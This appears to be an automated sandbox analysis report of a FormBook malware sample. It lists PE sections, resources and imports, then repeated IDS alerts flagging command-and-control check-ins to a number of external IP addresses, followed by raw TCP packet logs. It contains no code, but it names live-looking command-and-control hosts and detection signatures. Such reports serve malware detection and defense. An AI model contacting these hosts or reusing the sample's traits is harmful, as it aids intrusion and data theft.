.text	0x1000	0x8dd2e	0x8de00	c2c2260508750422d20cd5cbb116b146	False	0.5729952505506608	data	6.675875439961112	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rdata	0x8f000	0x2e10e	0x2e200	4513b58651e3d8d87c81a396e5b2f1d1	False	0.3353340955284553	OpenPGP Public Key	5.760731648769018	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.data	0xbe000	0x8f74	0x5200	c2de4a3d214eae7e87c7bfc06bd79775	False	0.1017530487804878	data	1.1988106744719143	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0xc7000	0xae890	0xaea00	f4d01413943cc6679afb5d39c5a83c57	False	0.9633701682176091	data	7.963227739874961	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0x176000	0x7130	0x7200	1254908a9a03d2bcf12045d49cd572b9	False	0.7703536184210527	data	6.782377328042204	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_ICON	0xc74a0	0x128	Device independent bitmap graphic, 16 x 32 x 4, image size 192	English	Great Britain	0.3885135135135135
RT_ICON	0xc75c8	0x2e8	Device independent bitmap graphic, 32 x 64 x 4, image size 0	English	Great Britain	0.3333333333333333
RT_ICON	0xc78b0	0x128	Device independent bitmap graphic, 16 x 32 x 4, image size 0	English	Great Britain	0.5
RT_ICON	0xc79d8	0xea8	Device independent bitmap graphic, 48 x 96 x 8, image size 0	English	Great Britain	0.2835820895522388
RT_ICON	0xc8880	0x8a8	Device independent bitmap graphic, 32 x 64 x 8, image size 0	English	Great Britain	0.37906137184115524
RT_ICON	0xc9128	0x568	Device independent bitmap graphic, 16 x 32 x 8, image size 0	English	Great Britain	0.23699421965317918
RT_ICON	0xc9690	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 0	English	Great Britain	0.13858921161825727
RT_ICON	0xcbc38	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 0	English	Great Britain	0.25070356472795496
RT_ICON	0xccce0	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 0	English	Great Britain	0.3173758865248227
RT_STRING	0xcd148	0x594	data	English	Great Britain	0.3333333333333333
RT_STRING	0xcd6dc	0x68a	data	English	Great Britain	0.2747909199522103
RT_STRING	0xcdd68	0x490	data	English	Great Britain	0.3715753424657534
RT_STRING	0xce1f8	0x5fc	data	English	Great Britain	0.3087467362924282
RT_STRING	0xce7f4	0x65c	data	English	Great Britain	0.34336609336609336
RT_STRING	0xcee50	0x466	data	English	Great Britain	0.3605683836589698
RT_STRING	0xcf2b8	0x158	Matlab v4 mat-file (little endian) n, numeric, rows 0, columns 0	English	Great Britain	0.502906976744186
RT_RCDATA	0xcf410	0xa5f28	data			1.0003177779085506
RT_GROUP_ICON	0x175338	0x76	data	English	Great Britain	0.6610169491525424
RT_GROUP_ICON	0x1753b0	0x14	data	English	Great Britain	1.15
RT_VERSION	0x1753c4	0xdc	data	English	Great Britain	0.6181818181818182
RT_MANIFEST	0x1754a0	0x3ef	ASCII text, with CRLF line terminators	English	Great Britain	0.5074478649453823

Imports

DLL	Import
WSOCK32.dll	WSACleanup, socket, inet_ntoa, setsockopt, ntohs, recvfrom, ioctlsocket, htons, WSAStartup, __WSAFDIsSet, select, accept, listen, bind, closesocket, WSAGetLastError, recv, sendto, send, inet_addr, gethostbyname, gethostname, connect
VERSION.dll	GetFileVersionInfoW, GetFileVersionInfoSizeW, VerQueryValueW
WINMM.dll	timeGetTime, waveOutSetVolume, mciSendStringW
COMCTL32.dll	ImageList_ReplaceIcon, ImageList_Destroy, ImageList_Remove, ImageList_SetDragCursorImage, ImageList_BeginDrag, ImageList_DragEnter, ImageList_DragLeave, ImageList_EndDrag, ImageList_DragMove, InitCommonControlsEx, ImageList_Create
MPR.dll	WNetUseConnectionW, WNetCancelConnection2W, WNetGetConnectionW, WNetAddConnection2W
WININET.dll	InternetQueryDataAvailable, InternetCloseHandle, InternetOpenW, InternetSetOptionW, InternetCrackUrlW, HttpQueryInfoW, InternetQueryOptionW, HttpOpenRequestW, HttpSendRequestW, FtpOpenFileW, FtpGetFileSize, InternetOpenUrlW, InternetReadFile, InternetConnectW
PSAPI.DLL	GetProcessMemoryInfo
IPHLPAPI.DLL	IcmpCreateFile, IcmpCloseHandle, IcmpSendEcho
USERENV.dll	DestroyEnvironmentBlock, UnloadUserProfile, CreateEnvironmentBlock, LoadUserProfileW
UxTheme.dll	IsThemeActive
KERNEL32.dll	DuplicateHandle, CreateThread, WaitForSingleObject, HeapAlloc, GetProcessHeap, HeapFree, Sleep, GetCurrentThreadId, MultiByteToWideChar, MulDiv, GetVersionExW, IsWow64Process, GetSystemInfo, FreeLibrary, LoadLibraryA, GetProcAddress, SetErrorMode, GetModuleFileNameW, WideCharToMultiByte, lstrcpyW, lstrlenW, GetModuleHandleW, QueryPerformanceCounter, VirtualFreeEx, OpenProcess, VirtualAllocEx, WriteProcessMemory, ReadProcessMemory, CreateFileW, SetFilePointerEx, SetEndOfFile, ReadFile, WriteFile, FlushFileBuffers, TerminateProcess, CreateToolhelp32Snapshot, Process32FirstW, Process32NextW, SetFileTime, GetFileAttributesW, FindFirstFileW, SetCurrentDirectoryW, GetLongPathNameW, GetShortPathNameW, DeleteFileW, FindNextFileW, CopyFileExW, MoveFileW, CreateDirectoryW, RemoveDirectoryW, SetSystemPowerState, QueryPerformanceFrequency, FindResourceW, LoadResource, LockResource, SizeofResource, EnumResourceNamesW, OutputDebugStringW, GetTempPathW, GetTempFileNameW, DeviceIoControl, GetLocalTime, CompareStringW, GetCurrentProcess, EnterCriticalSection, LeaveCriticalSection, GetStdHandle, CreatePipe, InterlockedExchange, TerminateThread, LoadLibraryExW, FindResourceExW, CopyFileW, VirtualFree, FormatMessageW, GetExitCodeProcess, GetPrivateProfileStringW, WritePrivateProfileStringW, GetPrivateProfileSectionW, WritePrivateProfileSectionW, GetPrivateProfileSectionNamesW, FileTimeToLocalFileTime, FileTimeToSystemTime, SystemTimeToFileTime, LocalFileTimeToFileTime, GetDriveTypeW, GetDiskFreeSpaceExW, GetDiskFreeSpaceW, GetVolumeInformationW, SetVolumeLabelW, CreateHardLinkW, SetFileAttributesW, CreateEventW, SetEvent, GetEnvironmentVariableW, SetEnvironmentVariableW, GlobalLock, GlobalUnlock, GlobalAlloc, GetFileSize, GlobalFree, GlobalMemoryStatusEx, Beep, GetSystemDirectoryW, HeapReAlloc, HeapSize, GetComputerNameW, GetWindowsDirectoryW, GetCurrentProcessId, GetProcessIoCounters, CreateProcessW, GetProcessId, SetPriorityClass, LoadLibraryW, VirtualAlloc, IsDebuggerPresent, GetCurrentDirectoryW, lstrcmpiW, DecodePointer, GetLastError, RaiseException, InitializeCriticalSectionAndSpinCount, DeleteCriticalSection, InterlockedDecrement, InterlockedIncrement, GetCurrentThread, CloseHandle, GetFullPathNameW, EncodePointer, ExitProcess, GetModuleHandleExW, ExitThread, GetSystemTimeAsFileTime, ResumeThread, GetCommandLineW, IsProcessorFeaturePresent, IsValidCodePage, GetACP, GetOEMCP, GetCPInfo, SetLastError, UnhandledExceptionFilter, SetUnhandledExceptionFilter, TlsAlloc, TlsGetValue, TlsSetValue, TlsFree, GetStartupInfoW, GetStringTypeW, SetStdHandle, GetFileType, GetConsoleCP, GetConsoleMode, RtlUnwind, ReadConsoleW, GetTimeZoneInformation, GetDateFormatW, GetTimeFormatW, LCMapStringW, GetEnvironmentStringsW, FreeEnvironmentStringsW, WriteConsoleW, FindClose, SetEnvironmentVariableA
USER32.dll	AdjustWindowRectEx, CopyImage, SetWindowPos, GetCursorInfo, RegisterHotKey, ClientToScreen, GetKeyboardLayoutNameW, IsCharAlphaW, IsCharAlphaNumericW, IsCharLowerW, IsCharUpperW, GetMenuStringW, GetSubMenu, GetCaretPos, IsZoomed, MonitorFromPoint, GetMonitorInfoW, SetWindowLongW, SetLayeredWindowAttributes, FlashWindow, GetClassLongW, TranslateAcceleratorW, IsDialogMessageW, GetSysColor, InflateRect, DrawFocusRect, DrawTextW, FrameRect, DrawFrameControl, FillRect, PtInRect, DestroyAcceleratorTable, CreateAcceleratorTableW, SetCursor, GetWindowDC, GetSystemMetrics, GetActiveWindow, CharNextW, wsprintfW, RedrawWindow, DrawMenuBar, DestroyMenu, SetMenu, GetWindowTextLengthW, CreateMenu, IsDlgButtonChecked, DefDlgProcW, CallWindowProcW, ReleaseCapture, SetCapture, CreateIconFromResourceEx, mouse_event, ExitWindowsEx, SetActiveWindow, FindWindowExW, EnumThreadWindows, SetMenuDefaultItem, InsertMenuItemW, IsMenu, TrackPopupMenuEx, GetCursorPos, DeleteMenu, SetRect, GetMenuItemID, GetMenuItemCount, SetMenuItemInfoW, GetMenuItemInfoW, SetForegroundWindow, IsIconic, FindWindowW, MonitorFromRect, keybd_event, SendInput, GetAsyncKeyState, SetKeyboardState, GetKeyboardState, GetKeyState, VkKeyScanW, LoadStringW, DialogBoxParamW, MessageBeep, EndDialog, SendDlgItemMessageW, GetDlgItem, SetWindowTextW, CopyRect, ReleaseDC, GetDC, EndPaint, BeginPaint, GetClientRect, GetMenu, DestroyWindow, EnumWindows, GetDesktopWindow, IsWindow, IsWindowEnabled, IsWindowVisible, EnableWindow, InvalidateRect, GetWindowLongW, GetWindowThreadProcessId, AttachThreadInput, GetFocus, GetWindowTextW, ScreenToClient, SendMessageTimeoutW, EnumChildWindows, CharUpperBuffW, GetParent, GetDlgCtrlID, SendMessageW, MapVirtualKeyW, PostMessageW, GetWindowRect, SetUserObjectSecurity, CloseDesktop, CloseWindowStation, OpenDesktopW, SetProcessWindowStation, GetProcessWindowStation, OpenWindowStationW, GetUserObjectSecurity, MessageBoxW, DefWindowProcW, SetClipboardData, EmptyClipboard, CountClipboardFormats, CloseClipboard, GetClipboardData, IsClipboardFormatAvailable, OpenClipboard, BlockInput, GetMessageW, LockWindowUpdate, DispatchMessageW, TranslateMessage, PeekMessageW, UnregisterHotKey, CheckMenuRadioItem, CharLowerBuffW, MoveWindow, SetFocus, PostQuitMessage, KillTimer, CreatePopupMenu, RegisterWindowMessageW, SetTimer, ShowWindow, CreateWindowExW, RegisterClassExW, LoadIconW, LoadCursorW, GetSysColorBrush, GetForegroundWindow, MessageBoxA, DestroyIcon, SystemParametersInfoW, LoadImageW, GetClassNameW
GDI32.dll	StrokePath, DeleteObject, GetTextExtentPoint32W, ExtCreatePen, GetDeviceCaps, EndPath, SetPixel, CloseFigure, CreateCompatibleBitmap, CreateCompatibleDC, SelectObject, StretchBlt, GetDIBits, LineTo, AngleArc, MoveToEx, Ellipse, DeleteDC, GetPixel, CreateDCW, GetStockObject, GetTextFaceW, CreateFontW, SetTextColor, PolyDraw, BeginPath, Rectangle, SetViewportOrgEx, GetObjectW, SetBkMode, RoundRect, SetBkColor, CreatePen, CreateSolidBrush, StrokeAndFillPath
COMDLG32.dll	GetOpenFileNameW, GetSaveFileNameW
ADVAPI32.dll	GetAce, RegEnumValueW, RegDeleteValueW, RegDeleteKeyW, RegEnumKeyExW, RegSetValueExW, RegOpenKeyExW, RegCloseKey, RegQueryValueExW, RegConnectRegistryW, InitializeSecurityDescriptor, InitializeAcl, AdjustTokenPrivileges, OpenThreadToken, OpenProcessToken, LookupPrivilegeValueW, DuplicateTokenEx, CreateProcessAsUserW, CreateProcessWithLogonW, GetLengthSid, CopySid, LogonUserW, AllocateAndInitializeSid, CheckTokenMembership, RegCreateKeyExW, FreeSid, GetTokenInformation, GetSecurityDescriptorDacl, GetAclInformation, AddAce, SetSecurityDescriptorDacl, GetUserNameW, InitiateSystemShutdownExW
SHELL32.dll	DragQueryPoint, ShellExecuteExW, DragQueryFileW, SHEmptyRecycleBinW, SHGetPathFromIDListW, SHBrowseForFolderW, SHCreateShellItem, SHGetDesktopFolder, SHGetSpecialFolderLocation, SHGetFolderPathW, SHFileOperationW, ExtractIconExW, Shell_NotifyIconW, ShellExecuteW, DragFinish
ole32.dll	CoTaskMemAlloc, CoTaskMemFree, CLSIDFromString, ProgIDFromCLSID, CLSIDFromProgID, OleSetMenuDescriptor, MkParseDisplayName, OleSetContainedObject, CoCreateInstance, IIDFromString, StringFromGUID2, CreateStreamOnHGlobal, OleInitialize, OleUninitialize, CoInitialize, CoUninitialize, GetRunningObjectTable, CoGetInstanceFromFile, CoGetObject, CoSetProxyBlanket, CoCreateInstanceEx, CoInitializeSecurity
OLEAUT32.dll	LoadTypeLibEx, VariantCopyInd, SysReAllocString, SysFreeString, SafeArrayDestroyDescriptor, SafeArrayDestroyData, SafeArrayUnaccessData, SafeArrayAccessData, SafeArrayAllocData, SafeArrayAllocDescriptorEx, SafeArrayCreateVector, RegisterTypeLib, CreateStdDispatch, DispCallFunc, VariantChangeType, SysStringLen, VariantTimeToSystemTime, VarR8FromDec, SafeArrayGetVartype, VariantCopy, VariantClear, OleLoadPicture, QueryPathOfRegTypeLib, RegisterTypeLibForUser, UnRegisterTypeLibForUser, UnRegisterTypeLib, CreateDispTypeInfo, SysAllocString, VariantInit

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	Great Britain

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-11-07T10:50:07.758624+0100	2855465	ETPRO MALWARE FormBook CnC Checkin (GET) M2	1	192.168.2.22	49161	156.234.28.94	80	TCP
2024-11-07T10:50:23.418242+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.22	49163	38.88.82.56	80	TCP
2024-11-07T10:50:26.438847+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.22	49164	38.88.82.56	80	TCP
2024-11-07T10:50:28.280726+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.22	49165	38.88.82.56	80	TCP
2024-11-07T10:50:31.694050+0100	2855465	ETPRO MALWARE FormBook CnC Checkin (GET) M2	1	192.168.2.22	49166	38.88.82.56	80	TCP
2024-11-07T10:50:36.737348+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.22	49167	15.197.148.33	80	TCP
2024-11-07T10:50:39.900365+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.22	49168	15.197.148.33	80	TCP
2024-11-07T10:50:41.822475+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.22	49169	15.197.148.33	80	TCP
2024-11-07T10:50:44.981050+0100	2855465	ETPRO MALWARE FormBook CnC Checkin (GET) M2	1	192.168.2.22	49170	15.197.148.33	80	TCP
2024-11-07T10:50:50.049612+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.22	49171	194.58.112.174	80	TCP
2024-11-07T10:50:53.461199+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.22	49172	194.58.112.174	80	TCP
2024-11-07T10:50:55.134156+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.22	49173	194.58.112.174	80	TCP
2024-11-07T10:50:58.540910+0100	2855465	ETPRO MALWARE FormBook CnC Checkin (GET) M2	1	192.168.2.22	49174	194.58.112.174	80	TCP
2024-11-07T10:51:03.960720+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.22	49175	15.197.148.33	80	TCP
2024-11-07T10:51:07.118251+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.22	49176	15.197.148.33	80	TCP
2024-11-07T10:51:09.046020+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.22	49177	15.197.148.33	80	TCP
2024-11-07T10:51:12.236532+0100	2855465	ETPRO MALWARE FormBook CnC Checkin (GET) M2	1	192.168.2.22	49178	15.197.148.33	80	TCP
2024-11-07T10:51:17.578604+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.22	49179	104.21.14.183	80	TCP
2024-11-07T10:51:21.305164+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.22	49180	104.21.14.183	80	TCP
2024-11-07T10:51:22.672545+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.22	49181	104.21.14.183	80	TCP
2024-11-07T10:51:26.416495+0100	2855465	ETPRO MALWARE FormBook CnC Checkin (GET) M2	1	192.168.2.22	49182	104.21.14.183	80	TCP
2024-11-07T10:51:31.896535+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.22	49183	67.223.117.142	80	TCP
2024-11-07T10:51:35.162421+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.22	49184	67.223.117.142	80	TCP
2024-11-07T10:51:36.986751+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.22	49185	67.223.117.142	80	TCP
2024-11-07T10:51:40.474759+0100	2855465	ETPRO MALWARE FormBook CnC Checkin (GET) M2	1	192.168.2.22	49186	67.223.117.142	80	TCP
2024-11-07T10:51:45.516491+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.22	49187	3.33.130.190	80	TCP
2024-11-07T10:51:48.696416+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.22	49188	3.33.130.190	80	TCP
2024-11-07T10:51:50.606283+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.22	49189	3.33.130.190	80	TCP
2024-11-07T10:51:53.786205+0100	2855465	ETPRO MALWARE FormBook CnC Checkin (GET) M2	1	192.168.2.22	49190	3.33.130.190	80	TCP
2024-11-07T10:51:59.052723+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.22	49191	113.20.119.31	80	TCP
2024-11-07T10:52:02.862448+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.22	49192	113.20.119.31	80	TCP
2024-11-07T10:52:04.128866+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.22	49193	113.20.119.31	80	TCP
2024-11-07T10:52:07.930169+0100	2855465	ETPRO MALWARE FormBook CnC Checkin (GET) M2	1	192.168.2.22	49194	113.20.119.31	80	TCP
2024-11-07T10:52:13.209633+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.22	49195	47.129.103.185	80	TCP
2024-11-07T10:52:22.182248+0100	2855465	ETPRO MALWARE FormBook CnC Checkin (GET) M2	1	192.168.2.22	49198	47.129.103.185	80	TCP
2024-11-07T10:52:28.053275+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.22	49199	38.47.237.27	80	TCP
2024-11-07T10:52:31.228829+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.22	49200	38.47.237.27	80	TCP
2024-11-07T10:52:33.128183+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.22	49201	38.47.237.27	80	TCP
2024-11-07T10:52:41.099758+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.22	49203	206.119.81.36	80	TCP
2024-11-07T10:52:49.886271+0100	2855465	ETPRO MALWARE FormBook CnC Checkin (GET) M2	1	192.168.2.22	49206	206.119.81.36	80	TCP
2024-11-07T10:52:55.281766+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.22	49207	142.250.185.115	80	TCP
2024-11-07T10:52:58.648287+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.22	49208	142.250.185.115	80	TCP
2024-11-07T10:53:00.369113+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.22	49209	142.250.185.115	80	TCP
2024-11-07T10:53:03.749152+0100	2855465	ETPRO MALWARE FormBook CnC Checkin (GET) M2	1	192.168.2.22	49210	142.250.185.115	80	TCP
2024-11-07T10:53:08.924796+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.22	49211	3.33.130.190	80	TCP
2024-11-07T10:53:12.977421+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.22	49212	3.33.130.190	80	TCP
2024-11-07T10:53:14.025652+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.22	49213	3.33.130.190	80	TCP
2024-11-07T10:53:17.171378+0100	2855465	ETPRO MALWARE FormBook CnC Checkin (GET) M2	1	192.168.2.22	49214	3.33.130.190	80	TCP
2024-11-07T10:53:22.208640+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.22	49215	154.23.184.95	80	TCP
2024-11-07T10:53:25.870570+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.22	49216	154.23.184.95	80	TCP
2024-11-07T10:53:27.289467+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.22	49217	154.23.184.95	80	TCP
2024-11-07T10:53:30.960649+0100	2855465	ETPRO MALWARE FormBook CnC Checkin (GET) M2	1	192.168.2.22	49218	154.23.184.95	80	TCP
2024-11-07T10:53:36.038217+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.22	49219	185.27.134.144	80	TCP
2024-11-07T10:53:39.518506+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.22	49220	185.27.134.144	80	TCP
2024-11-07T10:53:41.136815+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.22	49221	185.27.134.144	80	TCP
2024-11-07T10:53:44.584974+0100	2855465	ETPRO MALWARE FormBook CnC Checkin (GET) M2	1	192.168.2.22	49222	185.27.134.144	80	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Nov 7, 2024 10:50:06.766586065 CET	49161	80	192.168.2.22	156.234.28.94
Nov 7, 2024 10:50:06.771884918 CET	80	49161	156.234.28.94	192.168.2.22
Nov 7, 2024 10:50:06.772067070 CET	49161	80	192.168.2.22	156.234.28.94
Nov 7, 2024 10:50:06.780059099 CET	49161	80	192.168.2.22	156.234.28.94
Nov 7, 2024 10:50:06.785085917 CET	80	49161	156.234.28.94	192.168.2.22
Nov 7, 2024 10:50:07.758430004 CET	80	49161	156.234.28.94	192.168.2.22
Nov 7, 2024 10:50:07.758529902 CET	80	49161	156.234.28.94	192.168.2.22
Nov 7, 2024 10:50:07.758539915 CET	80	49161	156.234.28.94	192.168.2.22
Nov 7, 2024 10:50:07.758624077 CET	49161	80	192.168.2.22	156.234.28.94
Nov 7, 2024 10:50:07.940407991 CET	80	49161	156.234.28.94	192.168.2.22
Nov 7, 2024 10:50:07.940711975 CET	49161	80	192.168.2.22	156.234.28.94
Nov 7, 2024 10:50:07.941972017 CET	49161	80	192.168.2.22	156.234.28.94
Nov 7, 2024 10:50:07.947151899 CET	80	49161	156.234.28.94	192.168.2.22
Nov 7, 2024 10:50:12.451459885 CET	49162	80	192.168.2.22	45.33.6.223
Nov 7, 2024 10:50:12.456857920 CET	80	49162	45.33.6.223	192.168.2.22
Nov 7, 2024 10:50:12.456948996 CET	49162	80	192.168.2.22	45.33.6.223
Nov 7, 2024 10:50:12.457195997 CET	49162	80	192.168.2.22	45.33.6.223
Nov 7, 2024 10:50:12.462048054 CET	80	49162	45.33.6.223	192.168.2.22
Nov 7, 2024 10:50:13.083417892 CET	80	49162	45.33.6.223	192.168.2.22
Nov 7, 2024 10:50:13.083436012 CET	80	49162	45.33.6.223	192.168.2.22
Nov 7, 2024 10:50:13.083458900 CET	80	49162	45.33.6.223	192.168.2.22
Nov 7, 2024 10:50:13.083471060 CET	80	49162	45.33.6.223	192.168.2.22
Nov 7, 2024 10:50:13.083481073 CET	80	49162	45.33.6.223	192.168.2.22
Nov 7, 2024 10:50:13.083492994 CET	80	49162	45.33.6.223	192.168.2.22
Nov 7, 2024 10:50:13.083503962 CET	80	49162	45.33.6.223	192.168.2.22
Nov 7, 2024 10:50:13.083520889 CET	80	49162	45.33.6.223	192.168.2.22
Nov 7, 2024 10:50:13.083533049 CET	80	49162	45.33.6.223	192.168.2.22
Nov 7, 2024 10:50:13.083543062 CET	80	49162	45.33.6.223	192.168.2.22
Nov 7, 2024 10:50:13.083668947 CET	49162	80	192.168.2.22	45.33.6.223
Nov 7, 2024 10:50:13.083715916 CET	49162	80	192.168.2.22	45.33.6.223
Nov 7, 2024 10:50:13.088874102 CET	80	49162	45.33.6.223	192.168.2.22
Nov 7, 2024 10:50:13.088895082 CET	80	49162	45.33.6.223	192.168.2.22
Nov 7, 2024 10:50:13.088907957 CET	80	49162	45.33.6.223	192.168.2.22
Nov 7, 2024 10:50:13.088953018 CET	80	49162	45.33.6.223	192.168.2.22
Nov 7, 2024 10:50:13.088989973 CET	49162	80	192.168.2.22	45.33.6.223
Nov 7, 2024 10:50:13.089267015 CET	49162	80	192.168.2.22	45.33.6.223
Nov 7, 2024 10:50:13.109113932 CET	49162	80	192.168.2.22	45.33.6.223
Nov 7, 2024 10:50:13.206801891 CET	80	49162	45.33.6.223	192.168.2.22
Nov 7, 2024 10:50:13.206821918 CET	80	49162	45.33.6.223	192.168.2.22
Nov 7, 2024 10:50:13.206832886 CET	80	49162	45.33.6.223	192.168.2.22
Nov 7, 2024 10:50:13.206931114 CET	49162	80	192.168.2.22	45.33.6.223
Nov 7, 2024 10:50:13.207036018 CET	80	49162	45.33.6.223	192.168.2.22
Nov 7, 2024 10:50:13.207055092 CET	80	49162	45.33.6.223	192.168.2.22
Nov 7, 2024 10:50:13.207066059 CET	80	49162	45.33.6.223	192.168.2.22
Nov 7, 2024 10:50:13.207073927 CET	49162	80	192.168.2.22	45.33.6.223
Nov 7, 2024 10:50:13.207089901 CET	49162	80	192.168.2.22	45.33.6.223
Nov 7, 2024 10:50:13.207441092 CET	80	49162	45.33.6.223	192.168.2.22
Nov 7, 2024 10:50:13.207485914 CET	49162	80	192.168.2.22	45.33.6.223
Nov 7, 2024 10:50:13.207492113 CET	80	49162	45.33.6.223	192.168.2.22
Nov 7, 2024 10:50:13.207504034 CET	80	49162	45.33.6.223	192.168.2.22
Nov 7, 2024 10:50:13.207515001 CET	80	49162	45.33.6.223	192.168.2.22
Nov 7, 2024 10:50:13.207525015 CET	49162	80	192.168.2.22	45.33.6.223
Nov 7, 2024 10:50:13.207537889 CET	49162	80	192.168.2.22	45.33.6.223
Nov 7, 2024 10:50:13.207551956 CET	49162	80	192.168.2.22	45.33.6.223
Nov 7, 2024 10:50:13.208091021 CET	80	49162	45.33.6.223	192.168.2.22
Nov 7, 2024 10:50:13.208101034 CET	80	49162	45.33.6.223	192.168.2.22
Nov 7, 2024 10:50:13.208132029 CET	49162	80	192.168.2.22	45.33.6.223
Nov 7, 2024 10:50:13.208148003 CET	49162	80	192.168.2.22	45.33.6.223
Nov 7, 2024 10:50:14.277905941 CET	80	49162	45.33.6.223	192.168.2.22
Nov 7, 2024 10:50:14.277935028 CET	80	49162	45.33.6.223	192.168.2.22
Nov 7, 2024 10:50:14.277946949 CET	80	49162	45.33.6.223	192.168.2.22
Nov 7, 2024 10:50:14.277956963 CET	49162	80	192.168.2.22	45.33.6.223
Nov 7, 2024 10:50:14.277960062 CET	80	49162	45.33.6.223	192.168.2.22
Nov 7, 2024 10:50:14.277985096 CET	80	49162	45.33.6.223	192.168.2.22
Nov 7, 2024 10:50:14.277992010 CET	49162	80	192.168.2.22	45.33.6.223
Nov 7, 2024 10:50:14.277992010 CET	49162	80	192.168.2.22	45.33.6.223
Nov 7, 2024 10:50:14.278003931 CET	49162	80	192.168.2.22	45.33.6.223
Nov 7, 2024 10:50:14.278012037 CET	80	49162	45.33.6.223	192.168.2.22
Nov 7, 2024 10:50:14.278023958 CET	80	49162	45.33.6.223	192.168.2.22
Nov 7, 2024 10:50:14.278023958 CET	49162	80	192.168.2.22	45.33.6.223
Nov 7, 2024 10:50:14.278043985 CET	49162	80	192.168.2.22	45.33.6.223
Nov 7, 2024 10:50:14.278055906 CET	49162	80	192.168.2.22	45.33.6.223
Nov 7, 2024 10:50:14.278181076 CET	80	49162	45.33.6.223	192.168.2.22
Nov 7, 2024 10:50:14.278192043 CET	80	49162	45.33.6.223	192.168.2.22
Nov 7, 2024 10:50:14.278203964 CET	80	49162	45.33.6.223	192.168.2.22
Nov 7, 2024 10:50:14.278213024 CET	49162	80	192.168.2.22	45.33.6.223
Nov 7, 2024 10:50:14.278235912 CET	49162	80	192.168.2.22	45.33.6.223
Nov 7, 2024 10:50:14.278238058 CET	80	49162	45.33.6.223	192.168.2.22
Nov 7, 2024 10:50:14.278249025 CET	80	49162	45.33.6.223	192.168.2.22
Nov 7, 2024 10:50:14.278259993 CET	80	49162	45.33.6.223	192.168.2.22
Nov 7, 2024 10:50:14.278270960 CET	80	49162	45.33.6.223	192.168.2.22
Nov 7, 2024 10:50:14.278278112 CET	49162	80	192.168.2.22	45.33.6.223
Nov 7, 2024 10:50:14.278286934 CET	80	49162	45.33.6.223	192.168.2.22
Nov 7, 2024 10:50:14.278291941 CET	49162	80	192.168.2.22	45.33.6.223
Nov 7, 2024 10:50:14.278305054 CET	49162	80	192.168.2.22	45.33.6.223
Nov 7, 2024 10:50:14.278326035 CET	49162	80	192.168.2.22	45.33.6.223
